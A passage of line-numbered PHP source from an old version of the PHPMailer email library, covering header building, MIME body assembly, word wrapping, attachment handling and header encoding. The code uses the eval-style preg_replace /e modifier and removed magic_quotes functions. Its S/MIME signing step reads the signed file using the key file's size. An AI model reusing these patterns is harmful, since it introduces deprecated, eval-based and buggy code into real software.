  2004. * Closes the active SMTP session if one exists.
  2005. * @return void
  2006. */
  2007. function SmtpClose() {
  2008. if($this->smtp != NULL) {
  2009. if($this->smtp->Connected()) {
  2010. $this->smtp->Quit();
  2011. $this->smtp->Close();
  2012. }
  2013. }
  2014. }
  2015.  
  2016. /**
  2017. * Sets the language for all class error messages. Returns false
  2018. * if it cannot load the language file. The default language type
  2019. * is English.
  2020. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2021. * @param string $lang_path Path to the language file directory
  2022. * @access public
  2023. * @return bool
  2024. */
  2025. function SetLanguage($lang_type, $lang_path = 'language/') {
  2026. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2027. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2028. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2029. include($lang_path.'phpmailer.lang-en.php');
  2030. } else {
  2031. $this->SetError('Could not load language file');
  2032. return false;
  2033. }
  2034. $this->language = $PHPMAILER_LANG;
  2035.  
  2036. return true;
  2037. }
  2038.  
  2039. /////////////////////////////////////////////////
  2040. // METHODS, MESSAGE CREATION
  2041. /////////////////////////////////////////////////
  2042.  
  2043. /**
  2044. * Creates recipient headers.
  2045. * @access private
  2046. * @return string
  2047. */
  2048. function AddrAppend($type, $addr) {
  2049. $addr_str = $type . ': ';
  2050. $addr_str .= $this->AddrFormat($addr[0]);
  2051. if(count($addr) > 1) {
  2052. for($i = 1; $i < count($addr); $i++) {
  2053. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2054. }
  2055. }
  2056. $addr_str .= $this->LE;
  2057.  
  2058. return $addr_str;
  2059. }
  2060.  
  2061. /**
  2062. * Formats an address correctly.
  2063. * @access private
  2064. * @return string
  2065. */
  2066. function AddrFormat($addr) {
  2067. if(empty($addr[1])) {
  2068. $formatted = $this->SecureHeader($addr[0]);
  2069. } else {
  2070. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2071. }
  2072.  
  2073. return $formatted;
  2074. }
  2075.  
  2076. /**
  2077. * Wraps message for use with mailers that do not
  2078. * automatically perform wrapping and for quoted-printable.
  2079. * Original written by philippe.
  2080. * @access private
  2081. * @return string
  2082. */
  2083. function WrapText($message, $length, $qp_mode = false) {
  2084. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2085. // If utf-8 encoding is used, we will need to make sure we don't
  2086. // split multibyte characters when we wrap
  2087. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2088.  
  2089. $message = $this->FixEOL($message);
  2090. if (substr($message, -1) == $this->LE) {
  2091. $message = substr($message, 0, -1);
  2092. }
  2093.  
  2094. $line = explode($this->LE, $message);
  2095. $message = '';
  2096. for ($i=0 ;$i < count($line); $i++) {
  2097. $line_part = explode(' ', $line[$i]);
  2098. $buf = '';
  2099. for ($e = 0; $e<count($line_part); $e++) {
  2100. $word = $line_part[$e];
  2101. if ($qp_mode and (strlen($word) > $length)) {
  2102. $space_left = $length - strlen($buf) - 1;
  2103. if ($e != 0) {
  2104. if ($space_left > 20) {
  2105. $len = $space_left;
  2106. if ($is_utf8) {
  2107. $len = $this->UTF8CharBoundary($word, $len);
  2108. } elseif (substr($word, $len - 1, 1) == "=") {
  2109. $len--;
  2110. } elseif (substr($word, $len - 2, 1) == "=") {
  2111. $len -= 2;
  2112. }
  2113. $part = substr($word, 0, $len);
  2114. $word = substr($word, $len);
  2115. $buf .= ' ' . $part;
  2116. $message .= $buf . sprintf("=%s", $this->LE);
  2117. } else {
  2118. $message .= $buf . $soft_break;
  2119. }
  2120. $buf = '';
  2121. }
  2122. while (strlen($word) > 0) {
  2123. $len = $length;
  2124. if ($is_utf8) {
  2125. $len = $this->UTF8CharBoundary($word, $len);
  2126. } elseif (substr($word, $len - 1, 1) == "=") {
  2127. $len--;
  2128. } elseif (substr($word, $len - 2, 1) == "=") {
  2129. $len -= 2;
  2130. }
  2131. $part = substr($word, 0, $len);
  2132. $word = substr($word, $len);
  2133.  
  2134. if (strlen($word) > 0) {
  2135. $message .= $part . sprintf("=%s", $this->LE);
  2136. } else {
  2137. $buf = $part;
  2138. }
  2139. }
  2140. } else {
  2141. $buf_o = $buf;
  2142. $buf .= ($e == 0) ? $word : (' ' . $word);
  2143.  
  2144. if (strlen($buf) > $length and $buf_o != '') {
  2145. $message .= $buf_o . $soft_break;
  2146. $buf = $word;
  2147. }
  2148. }
  2149. }
  2150. $message .= $buf . $this->LE;
  2151. }
  2152.  
  2153. return $message;
  2154. }
  2155.  
  2156. /**
  2157. * Finds last character boundary prior to maxLength in a utf-8
  2158. * quoted (printable) encoded string.
  2159. * Original written by Colin Brown.
  2160. * @access private
  2161. * @param string $encodedText utf-8 QP text
  2162. * @param int $maxLength find last character boundary prior to this length
  2163. * @return int
  2164. */
  2165. function UTF8CharBoundary($encodedText, $maxLength) {
  2166. $foundSplitPos = false;
  2167. $lookBack = 3;
  2168. while (!$foundSplitPos) {
  2169. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2170. $encodedCharPos = strpos($lastChunk, "=");
  2171. if ($encodedCharPos !== false) {
  2172. // Found start of encoded character byte within $lookBack block.
  2173. // Check the encoded byte value (the 2 chars after the '=')
  2174. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2175. $dec = hexdec($hex);
  2176. if ($dec < 128) { // Single byte character.
  2177. // If the encoded char was found at pos 0, it will fit
  2178. // otherwise reduce maxLength to start of the encoded char
  2179. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2180. $maxLength - ($lookBack - $encodedCharPos);
  2181. $foundSplitPos = true;
  2182. } elseif ($dec >= 192) { // First byte of a multi byte character
  2183. // Reduce maxLength to split at start of character
  2184. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2185. $foundSplitPos = true;
  2186. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2187. $lookBack += 3;
  2188. }
  2189. } else {
  2190. // No encoded character found
  2191. $foundSplitPos = true;
  2192. }
  2193. }
  2194. return $maxLength;
  2195. }
  2196.  
  2197. /**
  2198. * Set the body wrapping.
  2199. * @access private
  2200. * @return void
  2201. */
  2202. function SetWordWrap() {
  2203. if($this->WordWrap < 1) {
  2204. return;
  2205. }
  2206.  
  2207. switch($this->message_type) {
  2208. case 'alt':
  2209. /* fall through */
  2210. case 'alt_attachments':
  2211. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2212. break;
  2213. default:
  2214. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2215. break;
  2216. }
  2217. }
  2218.  
  2219. /**
  2220. * Assembles message header.
  2221. * @access private
  2222. * @return string
  2223. */
  2224. function CreateHeader() {
  2225. $result = '';
  2226.  
  2227. /* Set the boundaries */
  2228. $uniq_id = md5(uniqid(time()));
  2229. $this->boundary[1] = 'b1_' . $uniq_id;
  2230. $this->boundary[2] = 'b2_' . $uniq_id;
  2231.  
  2232. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2233. if($this->Sender == '') {
  2234. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2235. } else {
  2236. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2237. }
  2238.  
  2239. /* To be created automatically by mail() */
  2240. if($this->Mailer != 'mail') {
  2241. if(count($this->to) > 0) {
  2242. $result .= $this->AddrAppend('To', $this->to);
  2243. } elseif (count($this->cc) == 0) {
  2244. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2245. }
  2246. if(count($this->cc) > 0) {
  2247. $result .= $this->AddrAppend('Cc', $this->cc);
  2248. }
  2249. }
  2250.  
  2251. $from = array();
  2252. $from[0][0] = trim($this->From);
  2253. $from[0][1] = $this->FromName;
  2254. $result .= $this->AddrAppend('From', $from);
  2255.  
  2256. /* sendmail and mail() extract Cc from the header before sending */
  2257. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2258. $result .= $this->AddrAppend('Cc', $this->cc);
  2259. }
  2260.  
  2261. /* sendmail and mail() extract Bcc from the header before sending */
  2262. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2263. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2264. }
  2265.  
  2266. if(count($this->ReplyTo) > 0) {
  2267. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2268. }
  2269.  
  2270. /* mail() sets the subject itself */
  2271. if($this->Mailer != 'mail') {
  2272. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2273. }
  2274.  
  2275. if($this->MessageID != '') {
  2276. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2277. } else {
  2278. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2279. }
  2280. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2281. $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2282.  
  2283. if($this->ConfirmReadingTo != '') {
  2284. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2285. }
  2286.  
  2287. // Add custom headers
  2288. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2289. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2290. }
  2291. if (!$this->sign_key_file) {
  2292. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2293. $result .= $this->GetMailMIME();
  2294. }
  2295.  
  2296. return $result;
  2297. }
  2298.  
  2299. /**
  2300. * Returns the message MIME.
  2301. * @access private
  2302. * @return string
  2303. */
  2304. function GetMailMIME() {
  2305. $result = '';
  2306. switch($this->message_type) {
  2307. case 'plain':
  2308. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2309. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2310. break;
  2311. case 'attachments':
  2312. /* fall through */
  2313. case 'alt_attachments':
  2314. if($this->InlineImageExists()){
  2315. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2316. } else {
  2317. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2318. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2319. }
  2320. break;
  2321. case 'alt':
  2322. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2323. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2324. break;
  2325. }
  2326.  
  2327. if($this->Mailer != 'mail') {
  2328. $result .= $this->LE.$this->LE;
  2329. }
  2330.  
  2331. return $result;
  2332. }
  2333.  
  2334. /**
  2335. * Assembles the message body. Returns an empty string on failure.
  2336. * @access private
  2337. * @return string
  2338. */
  2339. function CreateBody() {
  2340. $result = '';
  2341. if ($this->sign_key_file) {
  2342. $result .= $this->GetMailMIME();
  2343. }
  2344.  
  2345. $this->SetWordWrap();
  2346.  
  2347. switch($this->message_type) {
  2348. case 'alt':
  2349. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2350. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2351. $result .= $this->LE.$this->LE;
  2352. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2353. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2354. $result .= $this->LE.$this->LE;
  2355. $result .= $this->EndBoundary($this->boundary[1]);
  2356. break;
  2357. case 'plain':
  2358. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2359. break;
  2360. case 'attachments':
  2361. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2362. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2363. $result .= $this->LE;
  2364. $result .= $this->AttachAll();
  2365. break;
  2366. case 'alt_attachments':
  2367. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2368. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2369. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2370. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2371. $result .= $this->LE.$this->LE;
  2372. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2373. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2374. $result .= $this->LE.$this->LE;
  2375. $result .= $this->EndBoundary($this->boundary[2]);
  2376. $result .= $this->AttachAll();
  2377. break;
  2378. }
  2379.  
  2380. if($this->IsError()) {
  2381. $result = '';
  2382. } else if ($this->sign_key_file) {
  2383. $file = tempnam("", "mail");
  2384. $fp = fopen($file, "w");
  2385. fwrite($fp, $result);
  2386. fclose($fp);
  2387. $signed = tempnam("", "signed");
  2388.  
  2389. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2390. $fp = fopen($signed, "r");
  2391. $result = fread($fp, filesize($this->sign_key_file));
  2392. fclose($fp);
  2393. } else {
  2394. $this->SetError($this->Lang("signing").openssl_error_string());
  2395. $result = '';
  2396. }
  2397.  
  2398. unlink($file);
  2399. unlink($signed);
  2400. }
  2401.  
  2402. return $result;
  2403. }
  2404.  
  2405. /**
  2406. * Returns the start of a message boundary.
  2407. * @access private
  2408. */
  2409. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2410. $result = '';
  2411. if($charSet == '') {
  2412. $charSet = $this->CharSet;
  2413. }
  2414. if($contentType == '') {
  2415. $contentType = $this->ContentType;
  2416. }
  2417. if($encoding == '') {
  2418. $encoding = $this->Encoding;
  2419. }
  2420. $result .= $this->TextLine('--' . $boundary);
  2421. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2422. $result .= $this->LE;
  2423. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2424. $result .= $this->LE;
  2425.  
  2426. return $result;
  2427. }
  2428.  
  2429. /**
  2430. * Returns the end of a message boundary.
  2431. * @access private
  2432. */
  2433. function EndBoundary($boundary) {
  2434. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2435. }
  2436.  
  2437. /**
  2438. * Sets the message type.
  2439. * @access private
  2440. * @return void
  2441. */
  2442. function SetMessageType() {
  2443. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2444. $this->message_type = 'plain';
  2445. } else {
  2446. if(count($this->attachment) > 0) {
  2447. $this->message_type = 'attachments';
  2448. }
  2449. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2450. $this->message_type = 'alt';
  2451. }
  2452. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2453. $this->message_type = 'alt_attachments';
  2454. }
  2455. }
  2456. }
  2457.  
  2458. /* Returns a formatted header line.
  2459. * @access private
  2460. * @return string
  2461. */
  2462. function HeaderLine($name, $value) {
  2463. return $name . ': ' . $value . $this->LE;
  2464. }
  2465.  
  2466. /**
  2467. * Returns a formatted mail line.
  2468. * @access private
  2469. * @return string
  2470. */
  2471. function TextLine($value) {
  2472. return $value . $this->LE;
  2473. }
  2474.  
  2475. /////////////////////////////////////////////////
  2476. // CLASS METHODS, ATTACHMENTS
  2477. /////////////////////////////////////////////////
  2478.  
  2479. /**
  2480. * Adds an attachment from a path on the filesystem.
  2481. * Returns false if the file could not be found
  2482. * or accessed.
  2483. * @param string $path Path to the attachment.
  2484. * @param string $name Overrides the attachment name.
  2485. * @param string $encoding File encoding (see $Encoding).
  2486. * @param string $type File extension (MIME) type.
  2487. * @return bool
  2488. */
  2489. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2490. if(!@is_file($path)) {
  2491. $this->SetError($this->Lang('file_access') . $path);
  2492. return false;
  2493. }
  2494.  
  2495. $filename = basename($path);
  2496. if($name == '') {
  2497. $name = $filename;
  2498. }
  2499.  
  2500. $cur = count($this->attachment);
  2501. $this->attachment[$cur][0] = $path;
  2502. $this->attachment[$cur][1] = $filename;
  2503. $this->attachment[$cur][2] = $name;
  2504. $this->attachment[$cur][3] = $encoding;
  2505. $this->attachment[$cur][4] = $type;
  2506. $this->attachment[$cur][5] = false; // isStringAttachment
  2507. $this->attachment[$cur][6] = 'attachment';
  2508. $this->attachment[$cur][7] = 0;
  2509.  
  2510. return true;
  2511. }
  2512.  
  2513. /**
  2514. * Attaches all fs, string, and binary attachments to the message.
  2515. * Returns an empty string on failure.
  2516. * @access private
  2517. * @return string
  2518. */
  2519. function AttachAll() {
  2520. /* Return text of body */
  2521. $mime = array();
  2522.  
  2523. /* Add all attachments */
  2524. for($i = 0; $i < count($this->attachment); $i++) {
  2525. /* Check for string attachment */
  2526. $bString = $this->attachment[$i][5];
  2527. if ($bString) {
  2528. $string = $this->attachment[$i][0];
  2529. } else {
  2530. $path = $this->attachment[$i][0];
  2531. }
  2532.  
  2533. $filename = $this->attachment[$i][1];
  2534. $name = $this->attachment[$i][2];
  2535. $encoding = $this->attachment[$i][3];
  2536. $type = $this->attachment[$i][4];
  2537. $disposition = $this->attachment[$i][6];
  2538. $cid = $this->attachment[$i][7];
  2539.  
  2540. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2541. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2542. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2543.  
  2544. if($disposition == 'inline') {
  2545. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2546. }
  2547.  
  2548. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2549.  
  2550. /* Encode as string attachment */
  2551. if($bString) {
  2552. $mime[] = $this->EncodeString($string, $encoding);
  2553. if($this->IsError()) {
  2554. return '';
  2555. }
  2556. $mime[] = $this->LE.$this->LE;
  2557. } else {
  2558. $mime[] = $this->EncodeFile($path, $encoding);
  2559. if($this->IsError()) {
  2560. return '';
  2561. }
  2562. $mime[] = $this->LE.$this->LE;
  2563. }
  2564. }
  2565.  
  2566. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2567.  
  2568. return join('', $mime);
  2569. }
  2570.  
  2571. /**
  2572. * Encodes attachment in requested format. Returns an
  2573. * empty string on failure.
  2574. * @access private
  2575. * @return string
  2576. */
  2577. function EncodeFile ($path, $encoding = 'base64') {
  2578. if(!@$fd = fopen($path, 'rb')) {
  2579. $this->SetError($this->Lang('file_open') . $path);
  2580. return '';
  2581. }
  2582. $magic_quotes = get_magic_quotes_runtime();
  2583. set_magic_quotes_runtime(0);
  2584. $file_buffer = fread($fd, filesize($path));
  2585. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2586. fclose($fd);
  2587. set_magic_quotes_runtime($magic_quotes);
  2588.  
  2589. return $file_buffer;
  2590. }
  2591.  
  2592. /**
  2593. * Encodes string to requested format. Returns an
  2594. * empty string on failure.
  2595. * @access private
  2596. * @return string
  2597. */
  2598. function EncodeString ($str, $encoding = 'base64') {
  2599. $encoded = '';
  2600. switch(strtolower($encoding)) {
  2601. case 'base64':
  2602. /* chunk_split is found in PHP >= 3.0.6 */
  2603. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2604. break;
  2605. case '7bit':
  2606. case '8bit':
  2607. $encoded = $this->FixEOL($str);
  2608. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2609. $encoded .= $this->LE;
  2610. break;
  2611. case 'binary':
  2612. $encoded = $str;
  2613. break;
  2614. case 'quoted-printable':
  2615. $encoded = $this->EncodeQP($str);
  2616. break;
  2617. default:
  2618. $this->SetError($this->Lang('encoding') . $encoding);
  2619. break;
  2620. }
  2621. return $encoded;
  2622. }
  2623.  
  2624. /**
  2625. * Encode a header string to best of Q, B, quoted or none.
  2626. * @access private
  2627. * @return string
  2628. */
  2629. function EncodeHeader ($str, $position = 'text') {
  2630. $x = 0;
  2631.  
  2632. switch (strtolower($position)) {
  2633. case 'phrase':
  2634. if (!preg_match('/[\200-\377]/', $str)) {
  2635. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2636. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2637. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2638. return ($encoded);
  2639. } else {
  2640. return ("\"$encoded\"");
  2641. }
  2642. }
  2643. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2644. break;
  2645. case 'comment':
  2646. $x = preg_match_all('/[()"]/', $str, $matches);
  2647. /* Fall-through */
  2648. case 'text':
  2649. default:
  2650. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2651. break;
  2652. }
  2653.  
  2654. if ($x == 0) {
  2655. return ($str);
  2656. }
  2657.  
  2658. $maxlen = 75 - 7 - strlen($this->CharSet);
  2659. /* Try to select the encoding which should produce the shortest output */
  2660. if (strlen($str)/3 < $x) {
  2661. $encoding = 'B';
  2662. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2663. // Use a custom function which correctly encodes and wraps long
  2664. // multibyte strings without breaking lines within a character
  2665. $encoded = $this->Base64EncodeWrapMB($str);
  2666. } else {
  2667. $encoded = base64_encode($str);
  2668. $maxlen -= $maxlen % 4;
  2669. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2670. }
  2671. } else {
  2672. $encoding = 'Q';
  2673. $encoded = $this->EncodeQ($str, $position);
  2674. $encoded = $this->WrapText($encoded, $maxlen, true);
  2675. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2676. }
  2677.  
  2678. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2679. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2680.  
  2681. return $encoded;
  2682. }
  2683.  
  2684. /**
  2685. * Checks if a string contains multibyte characters.
  2686. * @access private
  2687. * @param string $str multi-byte text to wrap encode
  2688. * @return bool
  2689. */
  2690. function HasMultiBytes($str) {
  2691. if (function_exists('mb_strlen')) {
  2692. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2693. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2694. return False;
  2695. }
  2696. }
  2697.  
  2698. /**
  2699. * Correctly encodes and wraps long multibyte strings for mail headers
  2700. * without breaking lines within a character.
  2701. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2702. * @access private
  2703. * @param string $str multi-byte text to wrap encode
  2704. * @return string
  2705. */
  2706. function Base64EncodeWrapMB($str) {
  2707. $start = "=?".$this->CharSet."?B?";
  2708. $end = "?=";
  2709. $encoded = "";
  2710.  
  2711. $mb_length = mb_strlen($str, $this->CharSet);
  2712. // Each line must have length <= 75, including $start and $end
  2713. $length = 75 - strlen($start) - strlen($end);
  2714. // Average multi-byte ratio
  2715. $ratio = $mb_length / strlen($str);
  2716. // Base64 has a 4:3 ratio
  2717. $offset = $avgLength = floor($length * $ratio * .75);
  2718.  
  2719. for ($i = 0; $i < $mb_length; $i += $offset) {
  2720. $lookBack = 0;
  2721.  
  2722. do {
  2723. $offset = $avgLength - $lookBack;
  2724. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2725. $chunk = base64_encode($chunk);
  2726. $lookBack++;
  2727. }
  2728. while (strlen($chunk) > $length);
  2729.  
  2730. $encoded .= $chunk . $this->LE;
  2731. }
  2732.  
  2733. // Chomp the last linefeed
  2734. $encoded = substr($encoded, 0, -strlen($this->LE));
  2735. return $encoded;
  2736. }
  2737.  
  2738. /**
  2739. * Encode string to quoted-printable.
  2740. * @access private
  2741. * @return string
  2742. */
  2743. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2744. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2745. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2746. $eol = "\r\n";
  2747. $escape = '=';
  2748. $output = '';
  2749. while( list(, $line) = each($lines) ) {
  2750. $linlen = strlen($line);
  2751. $newline = '';
  2752. for($i = 0; $i < $linlen; $i++) {
  2753. $c = substr( $line, $i, 1 );
  2754. $dec = ord( $c );
  2755. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2756. $c = '=2E';
  2757. }
  2758. if ( $dec == 32 ) {
  2759. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2760. $c = '=20';
  2761. } else if ( $space_conv ) {
  2762. $c = '=20';
  2763. }
  2764. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2765. $h2 = floor($dec/16);
  2766. $h1 = floor($dec%16);
  2767. $c = $escape.$hex[$h2].$hex[$h1];
  2768. }
  2769. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2770. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2771. $newline = '';
  2772. // check if newline first character will be point or not
  2773. if ( $dec == 46 ) {
  2774. $c = '=2E';
  2775. }
  2776. }
  2777. $newline .= $c;
  2778. } // end of for
  2779. $output .= $newline.$eol;
  2780. } // end of while
  2781. return trim($output);
  2782. }
  2783.  
  2784. /**
  2785. * Encode string to q encoding.
  2786. * @access private
  2787. * @return string
  2788. */
  2789. function EncodeQ ($str, $position = 'text') {
  2790. /* There should not be any EOL in the string */
  2791. $encoded = preg_replace("[\r\n]", '', $str);
  2792.  
  2793. switch (strtolower($position)) {
  2794. case 'phrase':
  2795. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2796. break;
  2797. case 'comment':
  2798. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2799. case 'text':
  2800. default:
  2801. /* Replace every high ascii, control =, ? and _ characters */
  2802. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2803. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2804. break;
  2805. }
  2806.  
  2807. /* Replace every spaces to _ (more readable than =20) */
  2808. $encoded = str_replace(' ', '_', $encoded);
  2809.  
  2810. return $encoded;
  2811. }
  2812.  
  2813. /**
  2814. * Adds a string or binary attachment (non-filesystem) to the list.
  2815. * This method can be used to attach ascii or binary data,
  2816. * such as a BLOB record from a database.
  2817. * @param string $string String attachment data.
  2818. * @param string $filename Name of the attachment.
  2819. * @param string $encoding File encoding (see $Encoding).
  2820. * @param string $type File extension (MIME) type.
  2821. * @return void
  2822. */
  2823. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2824. /* Append to $attachment array */
  2825. $cur = count($this->attachment);
  2826. $this->attachment[$cur][0] = $string;
  2827. $this->attachment[$cur][1] = $filename;
  2828. $this->attachment[$cur][2] = $filename;
  2829. $this->attachment[$cur][3] = $encoding;
  2830. $this->attachment[$cur][4] = $type;
  2831. $this->attachment[$cur][5] = true; // isString
  2832. $this->attachment[$cur][6] = 'attachment';
  2833. $this->attachment[$cur][7] = 0;
  2834. }
  2835.  
  2836. /**
  2837. * Adds an embedded attachment. This can include images, sounds, and
  2838. * just about any other document. Make sure to set the $type to an
  2839. * image type. For JPEG images use "image/jpeg" and for GIF images
  2840. * use "image/gif".
  2841. * @param string $path Path to the attachment.
  2842. * @param string $cid Content ID of the attachment. Use this to identify
  2843. * the Id for accessing the image in an HTML form.
  2844. * @param string $name Overrides the attachment name.
  2845. * @param string $encoding File encoding (see $Encoding).
  2846. * @param string $type File extension (MIME) type.
  2847. * @return bool
  2848. */
  2849. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2850.  
  2851. if(!@is_file($path)) {
  2852. $this->SetError($this->Lang('file_access') . $path);
  2853. return false;
  2854. }
  2855.  
  2856. $filename = basename($path);
  2857. if($name == '') {
  2858. $name = $filename;
  2859. }
  2860.  
  2861. /* Append to $attachment array */
  2862. $cur = count($this->attachment);
  2863. $this->attachment[$cur][0] = $path;
  2864. $this->attachment[$cur][1] = $filename;
  2865. $this->attachment[$cur][2] = $name;
  2866. $this->attachment[$cur][3] = $encoding;
  2867. $this->attachment[$cur][4] = $type;
  2868. $this->attachment[$cur][5] = false;
  2869. $this->attachment[$cur][6] = 'inline';
  2870. $this->attachment[$cur][7] = $cid;
  2871.  
  2872. return true;
  2873. }
  2874.  
  2875. /**
  2876. * Returns true if an inline attachment is present.
  2877. * @access private
  2878. * @return bool
  2879. */
  2880. function InlineImageExists() {
  2881. $result = false;
  2882. for($i = 0; $i < count($this->attachment); $i++) {
  2883. if($this->attachment[$i][6] == 'inline') {
  2884. $result = true;
  2885. break;
  2886. }
  2887. }
  2888.  
  2889. return $result;
  2890. }
  2891.  
  2892. /////////////////////////////////////////////////
  2893. // CLASS METHODS, MESSAGE RESET
  2894. /////////////////////////////////////////////////
  2895.  
  2896. /**
  2897. * Clears all recipients assigned in the TO array. Returns void.
  2898. * @return void
  2899. */
  2900. function ClearAddresses() {
  2901. $this->to = array();
  2902. }
  2903.  
  2904. /**
  2905. * Clears all recipients assigned in the CC array. Returns void.
  2906. * @return void
  2907. */
  2908. function ClearCCs() {
  2909. $this->cc = array();
  2910. }
  2911.  
  2912. /**
